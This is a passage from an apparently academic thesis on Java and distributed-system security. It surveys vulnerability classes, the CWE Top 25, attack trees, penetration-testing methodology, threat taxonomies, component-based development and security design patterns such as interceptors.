specification. This problem was demonstrated in (Schönefeld, 2003i).
Inadequate Deserialization occurs often between the moments of object
creation and object initialization and object usage. Explicit object
creation, object cloning or creation of objects may create objects
within JAVA and other object-oriented languages. To exchange data
with a remote communication partner, a node uses a serialized data
representation. Naive implementation of these documented and un-
documented constructor methods may omit holistic parameter vali-
dation semantics. An attacker may invoke methods on an object in
an intermediate state or inject objects with illegal states. The java.
io.ObjectInputStream class allows deserialization of data. This al-
lows exploiting vulnerabilities in parameter validation. An attacker
can exploit this vulnerability to inject objects with illegal states into
remote runtime environments. Those scenarios will are presented
in Chapter 8.5.
Violable prohibition and limits such as edge conditions using extreme val-
ues are a typical misuse case that attackers apply to provoke over-
flow of data types that will put objects to an undefined state. This
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was used in a proof-of-concept to exploit a set of vulnerabilities in
the java.util.zip package. In this package an integer overflow
condition was exploitable to trigger a denial-of-service condition in
a trusted JDK core library. The effects of this problem are presented
in Chapter 8.3.
Exploitable logic errors and side effects of instructions trigger side effects
by performing legal actions. These attacks misuse holes in the spec-
ification. By coupling accessed resources to an exploitable error con-
dition, an attacker leads the system to an undefined state. We found
the JDBC interface provided by the JBOSS application server to be
vulnerable. It accepted java statements embedded in SQL state-
ments. This could be misused to trigger side effects on the operat-
ing system layer. A detailed description is provided in Chapter 8.6.
Common Weaknesses The Common Weaknesses Enumeration project(Mitre
Corporation, 2009a) follows the goal to provide a systematic presentation
of vulnerabilities. Their taxonomy provides a subdivision into three parts:
• Insecure Interaction Between Components
• Risky Resource Management
• Porous Defenses
Within these categories the project identified 25 important vulnerability
types. These are listed in Table 2.9. We will come back to these categories
when discussing the identified antipatterns in JAVA applications.
Vulnerability collections
Vulnerabilities may appear in multiple facades, a condition that makes
it difficult to refer to a particular type of vulnerability. The CVE (Com-
mon Vulnerabilities and Exposures) dictionary (Mitre Corporation, 2007a)
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aims to share knowledge about vulnerabilities. The project is community-
based where vendors and security researchers contribute their knowledge
on published vulnerabilities. The results are freely available.
The data collected in the CVE dictionary is useful to illustrate how the
type vulnerabilities shifted over the years from low-level operating system
problems to application level problems.
2.1.12 Attacks
The root cause of an attack is the exposure of privileged resources to at-
tackers. The attackers goal is to find a possible (covert) channel to that
resource, manipulate it, and subvert the integrity, confidentiality or avail-
ability of the system.
Attacks Trees
Schneier (1999) introduced Attack Trees to document the relationship be-
tween vulnerabilities and threats from an attacker's perspective. Scenar-
ios based on Attack trees analysis (ATA) allow evaluating the security of
a system in relation to a variety of attack scenarios. The ATA approach
visualizes the path from a vulnerability to the goal of an attacker.
ATA helps to identify vulnerable parts of the state model of a system.
Utilizing 'AND' and 'OR' operations they allow to describe the possible
path through the subgoals. These subgoals are either leaves or attack trees
themselves. Visualizations for attack trees become very large for realis-
tic scenarios, therefore the reduction to their textual representation helps
adapting to complex attack structures.
The leaves of an attack tree have additional attributes such as probabili-
ties of apprehension, cost of an attack or the engineering ability to statisti-
cally evaluate how much effort an attacker needs to achieve a specific goal.
In a further analysis an adequate set of attributes allows querying the at-
tack tree structure for specific sets of leaves, such as the shortest possible
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attack or all attacks that cost less than a specific upper bound of monetary
funds needed by an attacker to launch the attack.
The recursive tree structure of ATA allows chaining security evaluations
and to reuse the results of an ATA for subtrees. The leaves represent
the environment conditions that influence the relevant parameters and
therefore the specific state.
Login UNIX
account
No password
required
Learn
password
Find written
password
Get pass-
word from
Threaten Blackmail Steal
Install Sniffer Obtain
sniffer
output
Bribe
Guess
Password
Use Pass-
word Catalog
AND
OR
OR
OR
Figure 2.6: Attack Tree for Obtaining UNIX Passwords
The sample tree (Pallos, 2003) depicts the possibilities to acquire the
passwords to an account on a generic UNIX (Open Group, 2004) system.
The list of the leaves shows the distinct attack scenarios.
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2.1.13 Security Testing
The task of testing for security issues can be approached from a theoreti-
cal and a practical perspective. Formal testing follows the theoretical path
and is concerned with proving security, whereas penetration testing aims
to detect the existence of instances as proof for the existences of vulner-
abilities that need to be refactored within the implementation code of a
system.
Formal Testing
Formal testing aims to test systems for the existence of exploitable vulner-
abilities. The hypothesis states the existence of a specific vulnerability. As
a first step, the tester triggers an action to bring the system into a state that
is not in alignment with the current security policy (the post-condition).
When the post-condition holds true, the system is vulnerable. The prob-
lem with the formal approach is the limited usability, as the resulting con-
clusion of absence of a specific vulnerability is usable only for a specific
test configuration.
Penetration testing
The discipline of Penetration testing (Bundesamt für Sicherheit in der In-
formationstechnik, 2003) is concerned with testing the existence of vul-
nerabilities. It consists of tests performed on several layers. The test re-
flects these perspectives:
• The “no knowledge” attacker
• The external attacker
• The internal attacker with knowledge
These are the typical phases of penetration tests:
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1. Information gathering is the first step that aims to retrieve the nec-
essary information about the system to be tested. This step in-
cludes acquiring background facts to the typical vulnerabilities for
the platform to be tested. The highest density of such knowledge
is frequently available in so-called bug tracking and management
systems. For the JAVA 2 Standard Edition the relevant sources are
the Java Bug Database (Sun Microsystems, 2007b) and the BugZilla
system hosted by Apache.org (Apache Software Foundation, 2006b),
which lists bug scenarios for the included XML Parser, which is part
of the JDK. For other platforms, the bugtraq mailing list is a com-
mon place to start.
2. Flaw hypothesis constructs test cases derived from the collection of
knowledge about vulnerabilities gathered in the first step. This knowl-
edge typically has to be adapted to the concrete application environ-
ment and use case.
3. Flaw testing Tests whether vulnerabilities exist by applying the ma-
terial collected in the previous step. Flaw testing is an iterative pro-
cess. If the test is positive (system is in unsecured state) continue
with the next step. Otherwise, the testing workflow repeats the pre-
vious step to acquire more test cases.
4. Flaw generalization finds the most general cause of the flaw. This
includes finding similarities between the detected bugs.
5. Flaw elimination Eliminate the bugs by applying a security patch pro-
vided by the vendor (as an admin or user). The patch is created by
a programmer, who writes a modification of the code parts caus-
ing the vulnerability with the results of the previous step, the flaw
generalization step.
The german Bundesamt für Sicherheit in der Informationstechnik (2003)
provides a list of criteria to categorize penetration tests (see also Figure 2.7):
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Penetration-Test
Blackbox Whitebox
passive cautious intermediate aggressive
exhaustive narrowed focussed
covert open
network access physical access social engineering other channels
outside inside
Figure 2.7: Perspectives on penetration testing
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Information foundation defines the range of information that the attacker
takes for granted,
Black Box testing starts without any inside knowledge and includes
the necessary steps to gather the needed information from free
available sources
White Box penetration simulates the weaponry of a current or for-
merly employee or external consultant, pre-equipped with in-
side information. The range of information know from the
beginning of the test may vary from shallow to deep knowl-
edge.
Aggressiveness defines which actions the penetration tester performs when
detecting vulnerabilities. As any range of aggressive testing can lead
to damage in the system itself or connected systems, the goal, risks,
and limitations of actions of a penetration testing event are better
defined prior starting and communicated to the maintainers of the
associated systems.
Passive behavior implies that no further action is necessary, vulner-
abilities are only documented
Cautious behavior exploits the vulnerabilities when damage to the
tested system is not expected
Deliberate behavior even exploits the found vulnerabilities when
damage is expected. This typically includes automatic testing
for parameter combinations and edge cases.
Aggressive behavior does not consider potential danger to the in-
tegrity and availability of the tested systems, which can lead
to denial-of-service problems. Aggressive testing typically also
includes transitive testing. This includes exploiting vulnera-
bilities identified on connected systems once an intermediate
system is under control.
Computer Security 59
Scope defines which kind of systems are to be included in the test. For
an initial test, the entire scope of functionality is subject for testing.
Complete testing includes the entire set of available systems in the
test, although legal restrictions and availability goals may limit
this set.
Focused testing limits the scope to a certain subnet, functionality
or service. This is a frequently used scope for testing security
after system changes or enhancements have occurred. Enti-
ties tested are homogeneous (like all HTTP servers), but not
necessarily connected
Narrowed testing is restricted to a certain amount or range of sys-
tems. This is similar to the focused testing, but does not limit
testing to a single machine or a single service. Entities tested
are typically integrated into a common functional unit (like all
administration components of the online brokerage applica-
tion) therefore tests performed are heterogeneous.
Visibility defines the inclusion of escalation procedures after the discovery
of vulnerabilities. This also defines the choice of tools:
Covert testing limits the variety of allowed testing tools to those that
do not fall under the categorization of typical attack tools (such
as fuzzers). This typically includes testing for known boundary
conditions in normal applications.
Open testing is appropriate when covert testing did not deliver ap-
propriate results or when performing white box tests. The
open approach allows using tools specialized for penetration
testing such as port scanners as nmap, and vulnerability scan-
ner such as Nessus to assess the attack surface. Open testing
typically broadens the testing team, which also allows faster
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reaction to negative side effects on the tested system such as
denial-of-service conditions or side effects on other systems.
Technical measures define the choice of attack paths to the system.
Network access uses the attack path that is typically available to ex-
ternal intruders. This is a network-based path into the system.
This includes public paths such as the Internet and dial-up
connectivity via service providers.
Other communication paths include intrusion attacks via private net-
work access such as networks of associated companies. Other
communication media includes tampering wireless environ-
ments.
Direct physical access not only includes logical access but also al-
lows manipulation of the processing hardware or gaining net-
work access via insertion of unrestricted and unexpected de-
vices. Physical access implies that physical authentication of
the attacker was successful. Therefore, the direct physical ac-
cess attack is only available for internal attackers such as em-
ployees or consultants.
Social engineering includes the human factor in the search for vul-
nerabilities. This could include interviewing the developer of a
software program for backdoor functionality available through
testing switches or hotkeys, which allow violating the security
policy.
Locality defines the position (in or outside of the company's network)
where the attacker launches the attack.
Outside attacks include the total range of connectivity and protec-
tion measures in the attack, which includes the use of packet
and application level firewalls (Zwicky et al., 2000) and intru-
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sion detection systems (Bundesamt für Sicherheit in der Infor-
mationstechnik, 2002).
Internal attacks imply the attack has the starting point within the
network and does not have to circumvent the complete range
of protection measures and access control systems. For se-
curity aware companies the term internal network may be too
broad as internal networks can also be subdivided in trusted
and untrusted sub-networks. Furthermore, dedicated access
points may enforce authentication to allow crossing this inter-
nal boundary.
2.1.14 Summary
The previous paragraphs introduced the relevant terms according infor-
mation system security. They provide a foundation for the discussion on
distributed systems and their special security requirements. Furthermore,
a categorization schema and an outlook listing the relation to several real
world examples is given.
As this chapter serves as an introduction to the topic of security, there
is no own contribution to the general discussion on security yet, moreover
we follow a set of well-known definitions that are necessary to derive the
relation between programming antipatterns and concrete security related
vulnerabilities when applying the constructs of the JAVA programming
language.
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Disclosure Aspect Threat Example
Exposure
data is directly made
available to an
unauthorized subject
Result of Hardware/Software Error or other sys-
tem failures
Human Error, such as action or inaction result
in conditions that expose private data
Exhaustive searches through collections of data
can result in unwanted disclosure, also called
Scavenging
Deliberate Exposure exposes actively private data
to unauthorized subjects
Interception
the data flowing between
data source and
destination is modified by
a third party
Theft of a data media as USB stick can lead to
unauthorized access of private information
The monitoring of a communication channel via
passive wiretapping allows observing and record-
ing data
Analysis and Filtering of Emanation data may al-
low the unauthorized acquisition of information
Inference
may lead to indirect
access to sensitive data by
reasoning from
characteristics or side
effects of
communications
may lead to indirect access to sensitive data by
reasoning from characteristics or side effects of
communications
may lead to indirect access to sensitive data by
reasoning from characteristics or side effects of
communications
Intrusion
describes an action,
where unauthorized
access is gained by
bypassing or
circumventing the
protections of the system
carrying the data
Trespassing provides physical access to protected
resources
Penetration allows logical access to protected re-
sources
Reverse Engineering allows acquiring knowl-
edge about the inner and typically undocu-
mented details of a system to find starting points
for a subsequent attack
The methods of cryptoanalysis attempt to ac-
quire the clear text of an encrypted message (typi-
cally with zero-knowledge about the used encryp-
tion characteristics)
Table 2.5: Disclosure
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Deception Aspect Threat Example
Masquerading
malicious action or
unauthorized access
The term spoofing is used, when the unautho-
rized entity tries to take the identity of an autho-
rized entity
Means of malicious logic may be exploited by an
attacker to impersonate as an authorized entity
Falsification
of data to present
falsehoods to an
authorized user
Substitution is used to replace valid data by false
data
Insertion is used to place new false data into a
system to represent false facts
Repudiation
to present another entity
being responsible for
specific actions
False denial of origin, when the responsible actor
denies his responsibility for his actions
False denial of receipt, when the recipient of data
or a message denies the reception
Table 2.6: Deception
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Disruption Aspect Threat Example
Incapacitation
foils system operation by
disabling critical
components
Malicious logic like code bombs introduced into
a system
Physical destruction of system components is a
trivial method to disrupt system operation
Unintentionally incidents caused by human er-
rors or hard- or software defects have also the ef-
fect to disable components
Natural disasters, extreme element force or cos-
mic influence may influence system behavior
(how external forces might affect mobile JAVA
virtual machines is shown by Govindavajhala
and Appel (2003)).
Corruption
alters functionality by
tampering the codebase
or data of systems
Tampering interrupts or prevents the desired
valid operation of a system
Malicious logic can alter the codebase or data of
a system (often called a virus when the malicious
code tries to replicate to other systems)
Unintentionally incidents
Natural disasters
Obstruction delivery of system
services is blocked by
hindering operation
Interference may block communication chan-
nels that transfer data or control information so
that the servicing of requests is not possible
Overload occupy the capacities of
processing units,
preventing scheduled
tasks from operation
A Denial-of-Service attempt may infer the ap-
propriate load state of a system by keeping the
threads that are bound to the communication
channels of a system under high load
Table 2.7: Disruption
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Usurpation aspect Threat Example
Misappropriation
unauthorized physical or
logical control of a
system, comparable to
theft
Theft of services like an unauthorized triggering
of a business transaction
Theft of functionality
Theft of data
Misuse
an unauthorized entity
performs actions harmful
to the protection level of a
system
Tampering as alteration of the system logic is
used to gain unauthorized control over a system
Malicious logic like added code bombs or infil-
trated devices to allow unauthorized access to the
system
The violation of permissions of an entity ig-
nores or actively bypasses a given (security) pol-
icy which was expressed as organizational pro-
tection to a resource
Table 2.8: Usurpation
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Category ID Description
Insecure
interaction
between
components
CWE-20 Improper Input Validation
CWE-116 Improper Encoding or Escaping of Output
CWE-89 Failure to Preserve SQL Query Structure (aka 'SQL Injection')
CWE-79 Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
CWE-78 Failure to Preserve OS Command Structure (aka 'OS Command In-
jection')
CWE-319 Cleartext Transmission of Sensitive Information
CWE-352 Cross-Site Request Forgery (CSRF)
CWE-362 Race Condition
CWE-209 Error Message Information Leak
Risky Resource
Management
CWE-119 Failure to Constrain Operations within the Bounds of a Memory
Buffer
CWE-642 External Control of Critical State Data
CWE-73 External Control of File Name or Path
CWE-426 Untrusted Search Path
CWE-94 Failure to Control Generation of Code (aka 'Code Injection')
CWE-494 Download of Code Without Integrity Check
CWE-404 Improper Resource Shutdown or Release
CWE-665 Improper Initialization
CWE-682 Incorrect Calculation
Porous Defenses
CWE-285 Improper Access Control (Authorization)
CWE-327 Use of a Broken or Risky Cryptographic Algorithm
CWE-259 Hard-Coded Password
CWE-732 Insecure Permission Assignment for Critical Resource
CWE-330 Use of Insufficiently Random Values
CWE-250 Execution with Unnecessary Privileges
CWE-602 Client-Side Enforcement of Server-Side Security
Table 2.9: CWE Top 25
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2.2 Component-based Systems
The growing importance for distributed interaction by the emergence of
the Internet and e-commerce scenarios has shortened the product lifecy-
cles, as expressed in a quote from Reinke (1998)
"I think of Internet years as dog years, seven years in one.
There's no more long-range planning".
This includes the growing importance of the qualities of services cus-
tomers expect from products and especially software products to scale to
the new speed of time. To develop all needed functionality to satisfy the
entire set of requirements often exceeds the capacities of software compa-
nies. Therefore, it is economically not reasonable to design every generic
software building block from scratch. Instead, the principle of reuse of
basic functionality is an efficient strategy to approach this resource allo-
cation problem. The Reuse of components, composing systems from the
results of other projects allows focusing the limited development time and
cost in software development or the core problem. By dividing an applica-
tion in generic and specific parts and introduce well-defined interfaces
between them allows participating in the development progress of the
contributing components. Reuse furthermore allows efficient allocation
of development resources to build (depending on the application domain)
the business logic or the other core functionality of the system.
2.2.1 Components and Object-oriented principles
Brown gives the following definition of components:
Definition 17 (Component): A component is an individually distributable piece
of functionality that communicates via well-dened interfaces. (Brown, 2005)
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Szyperski (1998) and Meyer (2000) give similar definitions. The func-
tionality of a component is accessible via its interfaces, which are typically
defined via an interchangeable interface definition language (IDL). Im-
portant principles when designing components are substitutionality and
encapsulation.
Substitutionality is concerned with the replaceable implementation of ob-
jects that carry the functionality defined by interfaces. The appli-
cation programmer is concerned with the well-defined interface he
uses to communicate with an object. This separation provides flexi-
bility to adjust components to changing environment.
Encapsulation is concerned with the adequate bundling of data and func-
tionality of an object. An object is an identifiable piece of informa-
tion, such as a customer record on the application layer or a data
base driver on the middleware layer.
Shaw and Clements give the following definition for connectors be-
tween components that transfer data between components:
Definition 18 (Connector): A connector is an abstract mechanism that medi-
ates communication, coordination, or cooperation among components. (Shaw
and Clements, 1996)
This includes shared data representation, remote procedure call seman-
tics (like IIOP and RMI), and other message transfer formats.
Components generate and share data, the transfer occurs via connec-
tors. Data appears in multiple formats, specialized on a special purpose,
such as processing, transfer or storage.
• For processing, it is kept in system memory such as the internal rep-
resentation such as objects used inside the process memory, such
as a virtual machine.
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• Objects that are supposed to be transferred on the wire are trans-
formed to a serialized format, a process known as marshalling. Com-
mon marshalling formats are the JAVA serialized data object format
or the common data representation, like IIOP marshalling.
• When implementing persistency functions with a relational data-
base, there are two approaches. Data transformation is achievable
via an object-relational mapping, or stored in a native object-oriented
format residing as atomic object in a binary large object block, and
then accessed via an individual mapping access layer.
Solving problems in isolated environments does not limit the program-
mer in his choice of algorithms and approaches. Monolithic applications
typically do not allow replacing subsets of their functionality with alterna-
tive implementations.
In integrated environments, this isolated mindset may result in main-
tainability problems for a combination of formerly independent software
components to form a composite application. A large hurdle for a seam-
less integration of the combined functionality is to define single parame-
ters and hooks to use common mechanisms for common problems.
Therefore, components are packaged and deployed to adapt a standard
implementation to the custom installation requirements of a deployment
scenario. In component frameworks like EJB (Enterprise JAVA Beans) or
CCM (CORBA component model), individual configuration options can
therefore be adjusted to local needs by modifying the default settings, such
as a deployment descriptor.
Component definitions may bundle multiple interfaces. Table 2.10 de-
scribes the important artifacts concerned with components.
2.2.2 Types of Reuse
Ravichandran and Rothenberger (2003) describe two typical types of reuse,
one is white box reuse (WBR) that applies when the components was self-
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Artifact Description
Object Identifiable instance of an interface definition, backed by
an implementation
Encapsulation Bundling of behavior and data within objects
Implementation Defines the inner workings of objects, internal details are
exposed to the developer.
Interface A functional description of external behavior an object, ex-
posed to the user of the object, a set of interfaces define a
component
Identity Defines an identifiable instance of an object
Table 2.10: Artifacts of components
developed or is well documented. Good documentation is an important
precondition to check the validity of the component and estimate the ef-
fort and side effects of code changes.
Black box reuse (BBR) in contrast does not involve code changes and uses
the software functionality “as delivered”. Adaptation for black box compo-
nents is achieved via customization of configuration parameters. In order
to integrate developers only need to knowledge about the outer interfaces
of the components. No internal structures have to be known to use the
functions of the component. The black box reuse can result in a generic
security problem when components demand privilege access to restricted
resources. This has to be considered when defining the security policy so
the prepackaged security settings of components should be verified before
usage, which acquires internal knowledge that contradicts the black-boxed
approach. Reverse Engineering is a methodology that aims to acquire inter-
nal knowledge from black-boxed components. An approach to overcome
this problem for prepackaged JAVA components is presented in the dis-
cussion of the JCHAINS framework.
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2.2.3 Component Based Development
The paradigm of component-based development (CBD) of software sys-
tems is based on the assembly process of pre-packaged components. Within
the CBD process developers use standardized or customized in-house
frameworks to adapt to a certain set of standards in component design.
These guarantee compatibility of the involved artifacts. The functionality
of the resulting system is determined by the sum of the functionality of the
involved components; however compatibility problems and dependency
chains may have negative effects on the freedom of choice of components
which can be a major threat when using black boxed components.
2.2.4 Component Based Frameworks
Currently the industry is focused on three major component based frame-
works for distributed systems:
• The vendor-neutral CORBA (Common Object Request Broker Ar-
chitecture) specification by the Object management group,
• The JAVA Enterprise Edition (JEE) with the Enterprise JAVA Beans
component model from Sun Microsystems and
• The .NET Framework for distributed services is developed by Mi-
crosoft.
Both .NET and JEE extend their proprietary remoting protocols with
standard aligned SOAP-based web services in the most current editions.
Crosscutting functionality of software systems is also known as non-
functional requirements (NFR). Fulfilling these NFRs is necessary with an
adjustable degree in every computing application and is typical identified
in a requirement analysis document.
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2.2.5 Requirements of distributed component based systems
Distributed systems are often integrated by the use of specialized compo-
nents; Filman (1998) describes their characteristics as follows:
• Compared to their centralized and serial information systems, Dis-
tributed systems are non-deterministic. They add the dynamics of
distribution as an extra dimension of flexibility but also of complex-
ity. This increases the requirements and difficulties for design, test
and debug of the system, especially the handling and reservation
(locking) of distributed resources.
• Distributed systems are prone to incompleteness failures: In dis-
tributed systems, responsibility for correct overall behavior is also
distributed among the involved components. The exception han-
dling in component A that uses component B has to reflect to local
failures from B but and to networking failures due to communica-
tion. These may be outages, deadlocks and timeouts resulting from
calls to other components. Current design and modeling languages
like the ISO standard UML support the set of use cases of compo-
nents with well-defined specifications, whereas the set of misuse
and error cases is often under-specified.
• Distributed systems are equipped with less security: In transactions
that are executed in human-to-human interaction (such as buying
a used car at a car dealers shop) secure operation of systems relies
on trust between the involved actors. For exceptional (misuse) cases
policies define valid actions and enforcement. A leak in the defini-
tion of a misuse case leads to a leak in the security of the system. As
misuse cases in distributed environments are a superset of the pos-
sible misuse cases in centralized environments, these are potentially
less secure by default. Lodderstedt et al. (2002) introduced the Se-
cUML approach, which addresses this problem by adding security-
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specific extensions to the default stereotypes and diagrams offered
by the UML.
Filman states that the risks induced by these characteristics cannot be
eliminated, although they by documentation and estimation of effects
these risks can be anticipated in order to prevent resulting damage. The
so-called Ilities Filman (1998) subsume the non-functional characteristics
of an application. Ilities are reliability, security, scalability, extensibility,
manageability, maintainability, interoperability, composability and evolv-
ability. Requirements are according to Filman subdivided into four cate-
gories:
Functional requirements: They describe the input/output characteristics
of a system. This involves the range of provided services, usually
defined as step of the use-cases during system modeling process.
Use cases are typically documented in a semi-formal presentation,
such as the UML. Functional requirements (FR) are typically imple-
mented in the business logic or other core functionality of a system,
such as the EJBs in the JEE environment.
Aesthetic requirements: They provide an adaptation to cultural or com-
munity related requirements of presentation of the computational
results of the system. This typically applies to the presentation and
data representation components of distributed system such as the
JSP or servlet components used in the JEE framework.
Systematic requirements: These requirements aim to meet the goal of 'do-
ing the right thing' in 'all the right places'. Requirements of this kind
are most effective when all involved components are behaving equally
with the same quality of service. A single insecure component may
compromise overall system security. To provide common standards
in quality of service, these requirements are implemented by ser-
vices within the middleware framework and not solved repeatedly
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by the application programmer. Reuse increases the potential of ex-
isting software solutions and prevents the repeated invention of the
wheel (Curdt, 2008) development antipattern.
For example in the JBoss (JBoss Group, 2003) communication bus
architecture, crosscutting qualities of service are guaranteed by en-
forcing requests and replies of the functional model to pass through
a defined set of interceptors. These add non-functional attributes
to the request/reply data message structures in order to ensure se-
curity, transaction safety or persistence without interfering with the
semantics of the functional model. This is possible when the frame-
work has control on both parts of the communication, in order to
establish a symmetric setup of interceptors, which is typically the
case in a JEE client/server model.
Combinatorial requirements: The interaction between subcomponents de-
termines the behavior of the overall system. It is not determined by
a single component and typically cannot be derived by analyzing
each component statically. Moreover, the dynamic application envi-
ronment such as the expected workload has to be taken into account.
Samples for concerns of combinatorial requirements are as follows:
• The response time of an application is typically dependent of the
communication paths between the single components. Sta-
tistical methods can be used to determine estimates or lower
bounds for the timing behavior of a system depending on the
parameters of the usage scenario.
• The security level of the overall system can be determined by
its weakest part. It is wasted effort to protect an application by
encryption technology when an attacker can read the secrets
embedded in the source code. A practical example was the
disclosure of the JSP source code, a vulnerability (Schönefeld,
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2003o) we found during this research in the code of the JBoss
application 3.2.1 server. The weak protection used in the em-
bedded Jetty web server component shows, that the strongest
protection enforced by encryption mechanisms offers no pro-
tection in that case and can be undermined by exposing details
of the business logic to the unprivileged internet user by ex-
posing source code.
While the first type of requirements is often specified within use cases
during the design phase, the remaining types of requirements are often
aggregated to non-functional requirements (NFR), important when speci-
fying the software architecture.
2.2.6 Classes of requirement typical to distributed systems
As an answer to document the inherent deficiencies of distributed sys-
tems, the requirements are a helpful categorization scheme. We sum-
marize the characteristics of the crosscutting concerns to overcome these
deficiencies in the following:
Security: In distributed systems software security is concerned with pro-
viding confidentiality, integrity, accountability and availability. This
is shown in Chapter 2.1 in both operation and persistency through
the lifecycle of an application. Measures, such as enhancing func-
tional data with security related metadata or performing cryptographic
operations for the needed data transformations at the communi-
cation end points enforce a secure communication during request
flow. Access control ensures that only valid entities (users and pro-
grams) access the portion of the system's data, they are allowed to
access. Analysis of the metadata and rule-based checks of the dy-
namic communication behavior characteristics of the request flows
allows performing intrusion detection. Enforcement of Contain-
ment such as the JAVA sandbox helps chaining components in a
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well-defined set of allowed action, as defined within a security pol-
icy.
Manageability: Measurement of performance, accounting, Intrusion de-
tection, auditing, policy adjustment and configurability are typical
management tasks. The first four tasks are driven by the generation
of events that are emitted to appropriate receiving processes such
as system management consoles. Events are usually transmitted
via SNMP or other proprietary protocols such as EIF for IBM/Tivoli
management systems (Manoel et al., 2005). Policy adjustment and
configurability help customizing applications (designed for 24x7 op-
eration ideally without outage) to changing environments or secu-
rity settings. In this case, the application is the receiver of a change
management event. Manageability and security are closely related
as management of security this done via the channels of the man-
agement infrastructure.
Reliability: Distributed systems rely on replication between redundant in-
stances of the application in order to achieve maximum availabil-
ity. Relational database systems or Computer Supported Cooperative
Work (CSCW) systems like Lotus Domino are typical applications
that require a low outage ratio. In these systems, using redundancy
is not only applied to the functional data but also the non-functional
information, which is replicated between nodes. For example, a
user that is banned from access to one host due to a policy violation
(malicious behavior) should also be banned to enter the other nodes
hosting this application. As replication relies inherently on remote
communication, it has to be protected by security measures to avoid
data manipulation during transit. The Secure Socket Layer (SSL)
transport protocol offers the Mutual authentication feature. This is
typically used to authenticate communicating hosts to prevent an at-
tacker from spoofing a faked identity and to impersonate as a valid
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replication partner. This feature helps to enforce confidentiality, as
the data is not only protected against tampering in transit. It is also
protected at the endpoints of communication by assuring the origin
of the data.
Summary
The discussion on Ilities has shown that even the crosscutting concerns
have an impact on the security requirements towards systems. This em-
phasizes the special role of security for distributed systems and the inter-
actions to the other qualities of services needed for operation in a produc-
tion environment.
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2.3 Patterns and Refactorings
Suboptimal software implementations such as coding bugs or design flaws
are often caused by lack of resources during the design or development
process, such as time, funds or knowledge shortage. This section illus-
trates how these structural weak designs and implementations are cor-
rectable toward scalable solutions. This process is typically known as
Refactoring (Fowler, 1999) and applies the adequate problem solving con-
cepts of design pattern to these suboptimal implementations of software.
2.3.1 Design Patterns
Design patterns have been described as architectural artifacts that support
the architectural goal of conceptual integrity by conceptual reuse. Im-
portant catalogs of patterns have been collected by the so-called "Gang of
Four" (GoF) (Gamma et al., 1995). They coined terms, that are used by
software architects to find a common set of terms for architectural arti-
facts, prominently known are singletons, observers, visitors and publish-
subscribe scenarios.
Suboptimal so-
lution, impaired
by antipattern
Good solution,
refactored with pattern
Refactoring
Figure 2.8: Patterns, Antipatterns and Refactorings
Basing on the work of the GoF, an approach for a Pattern-Oriented Soft-
ware Architecture (POSA) was introduced by Schmidt et al. (2000). They
defined typical architectural patterns for services and component access,
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which is provided by middleware. The following pattern categories were
identified:
Wrappers A wrapper provides compatibility between new components
and old interfaces or vice versa. A middleware wrapper is a useful
pattern to convert between proprietary and open protocols. A typical
example is shown by Pohlmann and Schönefeld (2002). By avoid-
ing reinventing the functionality of existing internal structures by
reusing them in new scenarios this pattern helps to limit monetary
investment efforts.
Component Congurator A component configurator allows changing the
behavior of systems at runtime. This corresponds to an ODP man-
agement function (Putman, 2001). In CORBA systems, the behavior
of a component configurator is typically specified by a management
interface definition that is separated from the functional interface
definition.
Extension Interfaces They allow extending the functionality of a system
without modifying the interface, but by replacing the existing de-
fault implementation. An example is located in the JAVA architec-
ture, which allows replacing a security manager by the command
line switch -Djava.security.manager.
Interceptors Interceptors help to enhance the functionality of an applica-
tion by hooking into the event and communication channels. This
is done transparently to the application, which allows non-invasive
modification of the communication between the components of a
system. We will show an example of the POSA interceptor pattern
in detail with the discussion of the JCHAINS approach.
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The POSA Interceptor Pattern
The interceptor pattern is used to integrate service transparently to an ap-
plication. These services receive triggers for subscribed actions, implicitly
whenever a known event occurs. The POSA interceptor as shown in Fig-
ure 2.9 and introduced by Schmidt et al. (2000) is therefore used to extend
existing components with functionality that is not known or not available
the time of design or development. Interceptors are hooked into event and
communication channels, this allows adding additional logic into the in-
terceptor to make modifications to the message or to decide whether this
message is finally delivered to the target application. This is useful for
application specific extensions such as additional caching, logging or se-
curity functionality. From a security perspective context information such
as user identification strings, principal information or the current protec-
tion domain are used by the interceptor to determine whether a request
may pass or is rejected.
Security usage patterns of the Interceptor pattern
The interceptor pattern is used frequently in security related scenarios
applied to JAVA application, such like these use and misuse cases:
Portable interceptors Portable interceptors are a design pattern used within
CORBA. They allow intercepting IIOP requests. Requests option-
ally contain a current element that describes security credentials (like
a User-ID or a client certificate, related to the entity issuing the re-
quest. These kind of interceptors are useful for integrating autho-
rization mechanisms, such as PKI (public key infrastructures) into
CORBA applications (Nochta et al., 2001).
Request interceptors They intercept the request flow within JEE applica-
tion servers, such as JBOSS. This aspect-oriented approach is used
to handle crosscutting concerns such as persistence, transactions,
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and security. The request interception is handled independently of
the beans of the application.
AOP frameworks Aspect-oriented frameworks like AspectJ (Laddad, 2003)
add interception points to the control flow of JAVA application with-
out source code modification during compile or load time of an ap-
plication. AOP frameworks are discussed in the context of Bytecode
instrumentation (Chapter 4.3.4).
We will later return to the following misuse and use cases of intercep-
tors, which are relevant to this research:
JAVA Security managers are activated into systems to implement access
control checks or alternatively intercept the requests to the stan-
dard security manager. By overwriting the checkXXX methods of
the base SecurityManager class, objects can be used to track access
decisions information for reverse engineering, security analysis or
auditing purposes. The JCHAINS security interceptor which is ex-
plained in detail in Chapter 9.3, allows analyzing JAVA components
in order to acquire and fine-tune the necessary security settings.
Man-in-the-middle (MITM) attacks are an example for the interceptor pat-
tern that is frequently used by malicious software such as rootkits,
viruses, and trojans. An interceptor is brought into the request flow
by manipulating the standard invocation address vectors of applica-
tions or operating system functions.
2.3.2 Security Design Patterns
Yoder and Barcalow (1998) introduced a framework of architectural design
patterns that are useful to solve typical security related design and imple-
mentation problems. The fundamental building blocks of their frame-
work are as follows:
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Figure 2.9: POSA interceptor
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Secure Access Layer: They provide secure communication channels be-
tween the external and internal components of an application. This
reflects that weak points in an insecure communication are a possi-
ble target for attackers.
Single Access Point: A single access point ensures that every user who ac-
cesses the functionality of the application passes a centralized entry.
This entry allows performing sound and uniform security enforce-
ment throughout all access attempts.
Check Point: A check point within control flow allows enforcing that cer-
tain prerequisites are met by an application. The JAVA security man-
ager defines several checkXXX() methods which may be used to en-
sure that a privileged operation is only performed when the caller is
authorized to.
Roles: Access to certain functionality is not available to every user. In se-
cured environments privileged functions are typically only available
to users in specific roles, such as Admin or Editor. Roles in applica-
tions support this organizational measure.
Session: Handling of state information that is managed by the client is
potentially insecure. It can be passed back in a modified way either
